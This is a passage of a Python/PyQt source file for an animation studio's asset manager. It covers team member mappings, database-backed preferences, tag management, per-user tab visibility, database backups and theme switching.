self.cur_path.replace(\"\\\\_asset_manager\", \"\")  # H:\\01-NAD\\_pipeline\\_utilities\n        self.NEF_folder = self.cur_path_one_folder_up + \"\\\\_NEF\"  # H:\\01-NAD\\_pipeline\\_utilities\\NEF\n        self.screenshot_dir = self.cur_path_one_folder_up + \"\\\\_database\\\\screenshots\\\\\"\n        self.no_img_found = self.cur_path + \"\\\\media\\\\no_img_found.png\"\n        self.number_of_refreshes = 0\n        self.members = {\"acorbin\":\"Alexandre\", \"fpasquarelli\":\"Francis\", \"costiguy\": \"Chloe\", \"cgonnord\": \"Christopher\",\n                        \"erodrigue\": \"Etienne\", \"jberger\": \"Jeremy\", \"lgregoire\": \"Laurence\",\n                        \"lclavet\": \"Louis-Philippe\", \"mbeaudoin\": \"Mathieu\",\n                        \"mroz\": \"Maxime\", \"obolduc\": \"Olivier\", \"slachapelle\": \"Simon\", \"thoudon\": \"Thibault\",\n                        \"vdelbroucq\": \"Valentin\", \"yjobin\": \"Yann\", \"yshan\": \"Yi\"}\n        self.sg_members = {\"acorbin\": \"3dalcor\", \"fpasquarelli\": \"francis.pasquarelli\", \"costiguy\": \"ostiguy.chloe\", \"cgonnord\": \"christopher.gonnord\",\n                           \"erodrigue\": \"etienne.rodrigue89\", \"jberger\": \"jeremy.berger3d\", \"lgregoire\": \"lau-gregoire\",\n                           \"lclavet\": \"clavet.lp\", \"mbeaudoin\": \"beaudoinmathieu\",\n                           \"mroz\": \"maximeroz\", \"obolduc\": \"ol.bolduc\", \"slachapelle\": \"simonlachapelle\", \"thoudon\": \"houdon.thibault\",\n                           \"vdelbroucq\": \"valentin.delbroucq\", \"yjobin\": \"yannjobinphoto\", \"yshan\": \"yishan3d\"}\n        self.departments_shortname = {\"Script\": \"spt\", \"Storyboard\": \"stb\", \"References\": \"ref\", \"Concepts\": \"cpt\",\n                                      \"Modeling\": \"mod\", \"Texturing\": \"tex\", \"Rigging\": \"rig\", \"Animation\": \"anm\",\n                                      \"Simulation\": \"sim\", \"Shading\": \"shd\", \"Camera\": \"cam\", \"Lighting\": \"lgt\", \"Layout\": \"lay\", \"DMP\": \"dmp\", \"Rendering\":\"rdr\",\n                                      \"Compositing\": \"cmp\", \"Editing\": \"edt\", \"RnD\": \"rnd\"}\n        self.departments_longname = {\"spt\": \"Script\", \"stb\": \"Storyboard\", \"ref\": \"References\", \"cam\": \"Camera\", \"cpt\": \"Concepts\", \"lgt\": \"Lighting\",\n                                     \"mod\": \"Modeling\", \"tex\": \"Texturing\", \"rig\": \"Rigging\", \"anm\": \"Animation\",\n                                     \"sim\": \"Simulation\", \"shd\": \"Shading\", \"lay\": \"Layout\", \"dmp\": \"DMP\", \"rdr\":\"Rendering\",\n                                     \"cmp\": \"Compositing\", \"edt\": \"Editing\", \"rnd\": \"RnD\"}\n\n        refresh_icon = QtGui.QIcon(self.cur_path + \"\\\\media\\\\refresh.png\")\n        self.refreshAllBtn.setIcon(refresh_icon)\n        self.refreshAllBtn.setIconSize(QtCore.QSize(24, 24))\n        self.refreshAllBtn.clicked.connect(self.refresh_all)\n\n        # Setup user session if it is not already setup\n        is_setup = self.cursor.execute('''SELECT is_setup FROM preferences WHERE username=?''', (self.username,)).fetchone()[0]\n        if is_setup == 0:\n            self.Lib.setup_user_session(self)\n            self.cursor.execute('''UPDATE preferences SET is_setup=1 WHERE username=?''', (self.username,))\n            self.db.commit()\n\n        # Clear temp folder\n        if os.path.isdir(\"H:/tmp\"):\n            try:\n                shutil.rmtree(\"H:/tmp\")\n            except:\n                pass\n\n        try:\n            os.makedirs(\"H:/tmp\")\n        except:\n            pass\n\n        # Create Favicon\n        self.app_icon = QtGui.QIcon()\n        self.app_icon.addFile(self.cur_path + \"\\\\media\\\\favicon_cube.png\", QtCore.QSize(64, 64))\n        self.Form.setWindowIcon(self.app_icon)\n\n        # Set the StyleSheet\n        self.themePrefComboBox.currentIndexChanged.connect(self.change_theme)\n        self.theme = self.cursor.execute('''SELECT theme FROM preferences WHERE username=?''', (self.username,)).fetchone()[0]\n        self.themePrefComboBox.setCurrentIndex(int(self.theme))\n        self.change_theme()\n\n        # Admin Setup\n        self.remove_tabs_based_on_members()\n\n        # Get remaining time and set deadline Progress Bar\n        day_start = date(2015,6,28)\n        day_end = date(2016,4,25)\n        day_today = datetime.now().date()\n\n        months_and_days_left = relativedelta.relativedelta(day_end, day_today)\n\n        total_days = abs(day_end - day_start).days\n        remaining_days = abs(day_end - date.today()).days\n        remaining_days_percent = (remaining_days * 100) / total_days # Converts number of remaining day to a percentage\n\n        self.deadlineProgressBar.setFormat(\"{0} months and {1} days left ({2}%)\".format(months_and_days_left.months, months_and_days_left.days, remaining_days_percent))\n        self.deadlineProgressBar.setMaximum(total_days)\n        self.deadlineProgressBar.setValue(remaining_days)\n        hue = self.fit_range(remaining_days, 0, total_days, 0, 76)\n        self.deadlineProgressBar.setStyleSheet(\"QProgressBar::chunk {background-color: hsl(\" + str(hue) + \", 255, 205);}\")\n\n        if self.username not in [\"thoudon\", \"lclavet\", \"costiguy\"]:\n            self.deadlineFrame.hide()\n\n        # Setup disk usage progress bar\n        disk_usage = self.Lib.get_folder_space(self)\n        disk_usage = int(float(disk_usage) * 1000) # Multiply disk usage by 1000. Ex: 1.819 to 1819\n        disk_usage = (2000 * int(disk_usage)) / 1862 # 2TO in theory = 1.862GB in reality. Remapping real disk usage to the theoric one\n        self.diskUsageProgressBar.setFormat('{0}/2000 GB'.format(str(disk_usage)))\n        self.diskUsageProgressBar.setRange(0, 2000)\n        self.diskUsageProgressBar.setValue(int(disk_usage))\n        hue = self.fit_range(int(disk_usage), 0, 2000, 0, 76)\n        self.diskUsageProgressBar.setStyleSheet(\"QProgressBar::chunk {background-color: hsl(\" + str(hue) + \", 255, 205);}\")\n\n        # Thumbnail creation progress bar setup\n        self.thumbnailProgressBar.setStyleSheet(\"QProgressBar::chunk {background-color: hsl(0, 100, 175);}\")\n        self.thumbnailProgressBar.setValue(0)\n        self.thumbnailProgressBar.hide()\n\n        # Get software paths from database and put them in preference\n        self.photoshop_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Photoshop\"''').fetchone()[0])\n        self.maya_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Maya\"''').fetchone()[0])\n        self.maya_batch_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Maya Batch\"''').fetchone()[0])\n        self.softimage_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Softimage\"''').fetchone()[0])\n        self.softimage_batch_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Softimage Batch\"''').fetchone()[0])\n        self.houdini_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Houdini\"''').fetchone()[0])\n        self.houdini_batch_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Houdini Batch\"''').fetchone()[0])\n        self.cinema4d_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Cinema 4D\"''').fetchone()[0])\n        self.nuke_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Nuke\"''').fetchone()[0])\n        self.zbrush_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"ZBrush\"''').fetchone()[0])\n        if os.path.exists(\"C:/Program Files/Mari2.6v2/Bundle/bin/Mari2.6v2.exe\"):\n            self.mari_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Mari\"''').fetchone()[0])\n        else:\n            self.mari_path = \"C:/Program Files/Mari2.6v5/Bundle/bin/Mari2.6v5.exe\"\n        self.blender_path = str(self.cursor.execute('''SELECT software_path FROM software_paths WHERE software_name=\"Blender\"''').fetchone()[0])\n\n        self.cursor.execute('''UPDATE preferences SET is_online=1 WHERE username=?''', (self.username,))\n        self.db.commit()\n\n        # Preferences setup\n        self.prefBckGroundColorSlider.sliderMoved.connect(self.change_pref_background_color_pixmap)\n        self.prefBckGroundColorSlider.setStyleSheet(\"background-color; red;\")\n\n        # Set systray actions\n        self.quitAction = QtGui.QAction(\"Quit\", self, triggered=self.terminate_program)\n        self.quitAction.setIcon(QtGui.QIcon(self.cur_path + \"/media/turn_off.png\"))\n\n        # Systray icon\n        self.trayIconMenu = QtGui.QMenu(self)\n        self.trayIconMenu.addAction(self.quitAction)\n\n        self.tray_icon = QtGui.QIcon(self.cur_path + \"\\\\media\\\\favicon_cube.png\")\n        self.trayIcon = QtGui.QSystemTrayIcon(self)\n        self.trayIcon.setContextMenu(self.trayIconMenu)\n        self.trayIcon.setIcon(self.tray_icon)\n\n        self.tray_icon_log_id = \"\"\n        self.tray_message = \"\"\n\n        self.trayIcon.hide()\n\n        #self.tray_icon.messageClicked.connect(self.tray_icon_message_clicked)\n        self.trayIcon.activated.connect(self.tray_icon_clicked)\n\n        # Initialize modules and connections\n        AssetLoader.__init__(self)\n        self.ReferenceTab.__init__(self)\n        self.RenderTab.__init__(self)\n        self.CommentWidget.__init__(self)\n        self.WhatsNew.__init__(self)\n        self.PeopleTab.__init__(self)\n        self.WhatsNew.load_whats_new(self)\n        self.check_last_active()\n\n        #self.check_news_thread = CheckNews(self)\n        #self.connect(self.check_news_thread, QtCore.SIGNAL(\"check_last_active\"), self.check_last_active)\n        #self.check_news_thread.daemon = True\n        #self.check_news_thread.start()\n\n        self.show()\n\n        #self.check_shotgun_time_log()\n\n    def check_shotgun_time_log(self):\n        self.username = \"mbeaudoin\"\n        peoples = {\"acorbin\":\"Alexandre Corbin\", \"costiguy\":\"Chloé Ostiguy\", \"cgonnord\":\"Christopher Gonnord\", \"erodrigue\":\"Etienne Rodrigue\", \"fpasquarelli\":\"Francis Pasquarelli\", \"jberger\":\"Jérémy Berger\", \"lgregoire\":\"Laurence Grégoire\", \"lclavet\":\"Louis-Philippe Clavet\", \"mbeaudoin\":\"Mathieu Beaudoin\", \"mroz\":\"Maxime Roz\", \"thoudon\":\"Thibault Houdon\", \"vdelbroucq\":\"Valentin Delbroucq\", \"yjobin\":\"Yann Jobin\", \"yshan\":\"Yi Shan\"}\n        user = peoples[self.username]\n\n        project = self.sg.find_one(\"Project\", [[\"id\", \"is\", self.sg_project_id]])\n        time_log = self.sg.find(\"TimeLog\", [[\"date\", \"in_calendar_day\", -1], [\"project\", \"is\", project]], [\"user\"])\n        people_logged = [log[\"user\"][\"name\"] for log in time_log]\n        people_logged = list(set(people_logged))\n\n        if user not in people_logged:\n            time_log_window = QtGui.QDialog(self)\n            time_log_window.setWindowTitle(\"Add your time log entry\")\n            layout = QtGui.QVBoxLayout(time_log_window)\n            descriptionLabel = QtGui.QLabel(time_log_window)\n            durationLabel = QtGui.QLabel(time_log_window)\n            descriptionLabel.setText(\"Description\")\n            durationLabel.setText(\"Duration\")\n            self.description = QtGui.QLineEdit(time_log_window)\n            self.duration = QtGui.QLineEdit(time_log_window)\n\n            addLogEntryBtn = QtGui.QPushButton(time_log_window)\n            addLogEntryBtn.setText(\"Add Time Log Entry\")\n            addLogEntryBtn.clicked.connect(self.shotgun_add_time_log)\n\n            didntWorkBtn = QtGui.QPushButton(time_log_window)\n            didntWorkBtn.setText(\"I didn't work on this project yesterday.\")\n\n            layout.addWidget(durationLabel)\n            layout.addWidget(self.duration)\n            layout.addWidget(descriptionLabel)\n            layout.addWidget(self.description)\n            layout.addWidget(addLogEntryBtn)\n            layout.addWidget(didntWorkBtn)\n\n            time_log_window.exec_()\n\n    def shotgun_add_empty_time_log(self):\n        pass\n\n    def shotgun_add_time_log(self):\n\n        print(self.description.text())\n        print(self.duration.text())\n\n    def add_tag_to_tags_manager(self):\n        # Check if a project is selected\n        if len(self.projectList.currentText()) == 0:\n            Lib.message_box(text=\"Please select a project first.\")\n            return\n\n        tag_name = unicode(self.addTagLineEdit.text())\n        tag_name = Lib.normalize_str(self, tag_name)\n\n        if len(tag_name) == 0:\n            Lib.message_box(text=\"Please enter a tag name.\")\n            return\n\n        item = QtGui.QTreeWidgetItem(self.tagsTreeWidget)\n        item.setText(0, tag_name)\n        self.tagsTreeWidget.addTopLevelItem(item)\n\n        self.addTagLineEdit.setText(\"\")\n        self.save_tags_list()\n\n    def remove_selected_tags_from_tags_manager(self):\n        root = self.tagsTreeWidget.invisibleRootItem()\n        for item in self.tagsTreeWidget.selectedItems():\n            (item.parent() or root).removeChild(item)\n        self.save_tags_list()\n\n    def save_tags_list(self):\n        root = self.tagsTreeWidget.invisibleRootItem() # Fetch the root item\n        child_count = root.childCount()\n        for item in xrange(child_count):\n\n            # Get the text of the first item in the tree widget\n            parent_text = str(root.child(item).text(0))\n\n            # Check if item already exists, if no, add it to the database, if yes, update its name and parent\n            already_exist = self.cursor.execute('''SELECT tag_name FROM tags WHERE tag_name=?''', (parent_text,)).fetchone()\n            if already_exist == None:\n                self.cursor.execute('''INSERT INTO tags(project_name, tag_name, tag_parent) VALUES(?,?,?)''', (self.selected_project_name, parent_text, \"\",))\n            else:\n                self.cursor.execute('''UPDATE tags SET tag_name=?, tag_parent=? WHERE tag_name=? AND project_name=?''', (parent_text, \"\", parent_text, self.selected_project_name,))\n\n            # Get all children of parent item\n            nbr_of_children = root.child(item).childCount()\n            for i in range(nbr_of_children):\n                child_text = str(root.child(item).child(i).text(0))\n\n                # Check if item already exists, if no, add it to the database, if yes, update its name and parent\n                already_exist = self.cursor.execute('''SELECT tag_name FROM tags WHERE tag_name=?''', (child_text,)).fetchone()\n                if already_exist == None:\n                    self.cursor.execute('''INSERT INTO tags(project_name, tag_name, tag_parent) VALUES(?,?,?)''', (self.selected_project_name, child_text, parent_text,))\n                else:\n                    self.cursor.execute('''UPDATE tags SET tag_name=?, tag_parent=? WHERE tag_name=? AND project_name=?''', (child_text, parent_text, child_text, self.selected_project_name,))\n\n        self.db.commit()\n\n    def add_assets_to_asset_list(self, assets_list):\n        \"\"\"\n        Add assets from assets_list to self.assetList\n\n        \"\"\"\n\n        self.assetList.clear()\n        for asset in assets_list:\n            self.assetList.addItem(asset[4])\n\n    def clear_filter(self, filter_type):\n        \"\"\"\n        Clear the filter edit line\n        \"\"\"\n        if filter_type == \"seq\":\n            self.seqFilter.setText(\"\")\n        elif filter_type == \"asset\":\n            self.assetFilter.setText(\"\")\n\n    def update_thumb(self):\n        \"\"\"\n        Update selected asset thumbnail\n        \"\"\"\n        self.Form.showMinimized()\n\n        Lib.take_screenshot(self.screenshot_dir, self.selected_asset_name)\n\n        pixmap = QtGui.QPixmap(self.screenshot_dir + self.selected_asset_name + \".jpg\").scaled(1000, 200,\n                                                                                               QtCore.Qt.KeepAspectRatio,\n                                                                                               QtCore.Qt.SmoothTransformation)\n        self.assetImg.setPixmap(pixmap)\n        self.Form.showMaximized()\n        self.Form.showNormal()\n\n    def remove_tabs_based_on_members(self):\n\n        if not (self.username == \"thoudon\" or self.username == \"lclavet\"):\n            self.adminPrefFrame.hide()\n            self.createAssetFromScratchBtn.hide()\n\n        self.get_tabs_id_from_name()\n\n\n        if self.members[self.username] == \"Chloe\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n\n        elif self.members[self.username] == \"Francis\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Alexandre\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Christopher\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n\n\n        elif self.members[self.username] == \"Etienne\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Jeremy\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Laurence\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n        elif self.members[self.username] == \"Louis-Philippe\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n\n        elif self.members[self.username] == \"Mathieu\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Maxime\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n\n\n\n        elif self.members[self.username] == \"Olivier\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Simon\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Thibault\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n\n        elif self.members[self.username] == \"Yann\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n        elif self.members[self.username] == \"Yi\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n\n        elif self.members[self.username] == \"Valentin\":\n            self.Tabs.removeTab(self.tabs_list[\"Tasks\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Task Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Tags Manager\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Misc\"])\n            self.get_tabs_id_from_name()\n            self.Tabs.removeTab(self.tabs_list[\"Render\"])\n\n    def get_tabs_id_from_name(self):\n        self.tabs_list = {}\n        for i in xrange(self.Tabs.count()):\n            self.tabs_list[str(self.Tabs.tabText(i))] = i\n\n    def change_username(self):\n        username = str(self.usernameAdminComboBox.currentText())\n        self.username = username\n\n    def backup_database(self):\n        # Get creation_time of last database backup and compare it to current  time\n        database_files = Lib.get_files_from_folder(self, path=\"Z:\\\\Groupes-cours\\\\NAND999-A15-N01\\\\Nature\\\\_pipeline\\\\_utilities\\\\_database\\\\_backup\")\n        if len(database_files) > 1000:\n            self.Lib.message_box(self, type=\"error\", text=u\"Trop de backups détectés pour la base de donnée. Veuillez avertir Thibault, merci ;)\")\n\n        cur_db_name = os.path.split(self.db_path)[-1].replace(\".sqlite\", \"\")\n        database_files = [i for i in database_files if cur_db_name in os.path.split(i)[-1]]\n        database_files = sorted(database_files)\n        last_database_file = database_files[-1]\n        creation_time = time.ctime(os.path.getctime(last_database_file))\n        creation_time = time.strptime(creation_time, \"%a %b %d %H:%M:%S %Y\")\n        current_time = str(datetime.now())\n        current_time = time.strptime(current_time, \"%Y-%m-%d %H:%M:%S.%f\")\n        time_difference = (time.mktime(current_time) - time.mktime(creation_time)) / 60\n\n        if time_difference > 180: # If last backup is older than 5 hours, do a backup\n            fileName, fileExtension = os.path.splitext(last_database_file)\n            last_database_file_version = int(fileName.split(\"_\")[-1])\n            new_version = str(last_database_file_version + 1).zfill(4)\n            backup_database_filename = fileName.replace(str(last_database_file_version).zfill(4), new_version) + \".sqlite\"\n            shutil.copy(self.db_path, backup_database_filename)\n\n    def refresh_all(self):\n        self.blockSignals(True)\n\n        #Default refreshes\n        self.mt_item_added = True\n        self.item_added = True\n        self.setup_tags()\n\n        #Get current tab text\n        current_tab_text = self.Tabs.tabText(self.Tabs.currentIndex())\n\n        if current_tab_text == \"Asset Loader\":\n            self.statusLbl.setText(\"Status: Refreshing Asset Loader tab...\")\n            self.repaint()\n            self.AssetLoader.load_all_assets_for_first_time(self)\n            self.AssetLoader.load_assets_from_selected_seq_shot_dept(self)\n\n        elif current_tab_text == \"Task Manager\":\n            self.statusLbl.setText(\"Status: Refreshing Task Manager tab...\")\n            self.repaint()\n            TaskManager.add_tasks_from_database(self)\n\n        elif current_tab_text == \"Tasks\":\n            self.statusLbl.setText(\"Status: Refreshing Tasks tab...\")\n            self.repaint()\n            MyTasks.mt_add_tasks_from_database(self)\n\n        elif current_tab_text == \"Render\":\n            self.statusLbl.setText(\"Status: Refreshing Render tab...\")\n            self.repaint()\n            RenderTab.add_computers_from_database(self)\n            RenderTab.add_jobs_from_database(self)\n            RenderTab.add_frames_from_database(self)\n\n        elif current_tab_text == \"People\":\n            self.statusLbl.setText(\"Status: Refreshing People tab...\")\n            self.repaint()\n            self.PeopleTab.get_online_status(self)\n            self.cursor.execute('''UPDATE preferences SET last_active=? WHERE username=?''', (datetime.now().strftime(\"%d/%m/%Y at %H:%M\"), self.username,))\n            self.db.commit()\n\n        elif current_tab_text == \"Images Manager\":\n            self.statusLbl.setText(\"Status: Refreshing Images Manager tab...\")\n            self.repaint()\n            if len(self.ref_assets_instances) > 1:\n                self.ReferenceTab.refresh_reference_list(self)\n\n        elif \"What's New\" in current_tab_text:\n            self.statusLbl.setText(\"Status: Refreshing What's New tab...\")\n            self.repaint()\n            self.WhatsNew.load_whats_new(self)\n\n        self.statusLbl.setText(\"Status: Idle...\")\n        self.blockSignals(False)\n\n    def change_theme(self):\n        if self.themePrefComboBox.currentIndex() == 0:\n            self.theme = 0\n            self.prefBckGroundColorSlider.setValue(114)\n            self.Lib.apply_style(self, self)\n            self.cursor.execute('''UPDATE preferences SET theme=? WHERE username=?''', (0, self.username,))\n        elif self.themePrefComboBox.currentIndex() == 1:\n            self.theme = 1\n            self.prefBckGroundColorSlider.setValue(241)\n            self.setStyleSheet(\"\")\n            app.setStyle(QtGui.QStyleFactory.create(\"cleanlooks\"))\n            self.cursor.execute('''UPDATE preferences SET theme=? WHERE username=?''', (1, self.username,))\n            css = QtCore.QFile(self.cur_path + \"\\\\media\\\\cleanlooks.css\")\n            css.open(QtCore.QIODevice.ReadOnly)\n            if css.isOpen():\n                self.Form.setStyleSheet(QtCore.QVariant(css.readAll()).toString().replace(\"checkbox|placeholder\", self.cur_path.replace(\"\\\\\", \"/\") + \"/media/checkbox.png\"))\n        elif self.themePrefComboBox.currentIndex() == 2:\n            self.prefBckGroundColorSlider.setValue(255)\n            self.theme = 2\n            self.setStyleSheet(\"\")\n            app.setStyle(QtGui.QStyleFactory.create(\"plastique\"))\n            self.cursor.execute('''UPDATE preferences SET theme=? WHERE username=?''', (2, self.username,))\n\n        self.db.commit()\n\n    def change_pref_background_color_pixmap(self):\n        slider_value = self.prefBckGroundColorSlider.value()\n        self.referenceThumbListWidget.setStyleSheet(\"background-color: rgb({0},{0},{0});\".format(slider_value))\n\n    def tray_icon_message_clicked(self):\n\n        if self.tray_message == \"Manager is in background mode.\":\n            return\n\n        clicked_log_entry = self.cursor.execute('''SELECT log_value FROM log WHERE log_id=?''', (self.tray_icon_log_id,)).fetchone()[0]\n        clicked_log_description = self.cursor.execute('''SELECT log_entry FROM log WHERE log_id=?''', (self.tray_icon_log_id,)).fetchone()[0]\n\n        if len(clicked_log_entry) == 0:\n            return\n\n        asset = self.Asset(main=self, id=clicked_log_entry, get_infos_from_id=True)\n\n        if \"reference\" in clicked_log_description:\n            if \"video\" in clicked_log_description:\n                subprocess.Popen([\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\", asset.dependency])\n            else:\n                if os.path.isfile(asset.full_path):\n                    os.system(asset.full_path)\n                else:\n                    self.Lib.message_box(self, text=\"Can't find reference: it must have been deleted.\")\n\n        elif \"comment\" in clicked_log_description:\n            self.CommentWidget(main=self, asset=asset)\n\n    def tray_icon_clicked(self, reason):\n        if reason == QtGui.QSystemTrayIcon.DoubleClick:\n            if self.isHidden():\n                self.setWindowFlags(QtCore.Qt.Widget)\n                self.show()\n                self.setWindowState(self.windowState() & ~QtCore.Qt.WindowMinimized | QtCore.Qt.WindowActive)\n                self.trayIcon.hide()\n            else:\n                self.hide()\n                self.trayIcon.show()\n\n    def keyPressEvent(self, event):\n\n        global_pos = self.mapFromGlobal(QtGui.QCursor.pos())\n        widget_under_mouse = self.childAt(global_pos)\n\n        key = event.key()\n        if key == QtCore.Qt.Key_F11:\n            if self.isFullScreen():\n                self.showNormal()\n            else:\n                self.showFullScreen()\n        elif key == QtCore.Qt.Key_Delete:\n            current_tab_text = self.Tabs.tabText(self.Tabs.currentIndex())\n            if current_tab_text == \"Images Manager\":\n                ReferenceTab.remove_selected_references(self)\n        elif key == QtCore.Qt.Key_F2:\n            selected_reference = self.referenceThumbListWidget.selectedItems()[0]\n            asset = selected_reference.data(QtCore.Qt.UserRole).toPyObject()\n            ReferenceTab.rename_reference(self, asset)\n\n        elif key == QtCore.Qt.Key_F1:\n            self.show_wiki_help(widget_under_mouse)\n\n        elif key == QtCore.Qt.Key_F5:\n            self.refresh_all()\n\n    def show_wiki_help(self, widget):\n        if widget.objectName() == \"publishBtn\":\n            subprocess.Popen([\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\", \"file:///Z:/Groupes-cours/NAND999-A15-N01/Nature/_info/wiki/wiki.html#Modeling\"])\n\n    def closeEvent(self, event):\n        if not self.trayIcon.isVisible():\n            self.setWindowFlags(QtCore.Qt.Tool)\n            self.hide()\n            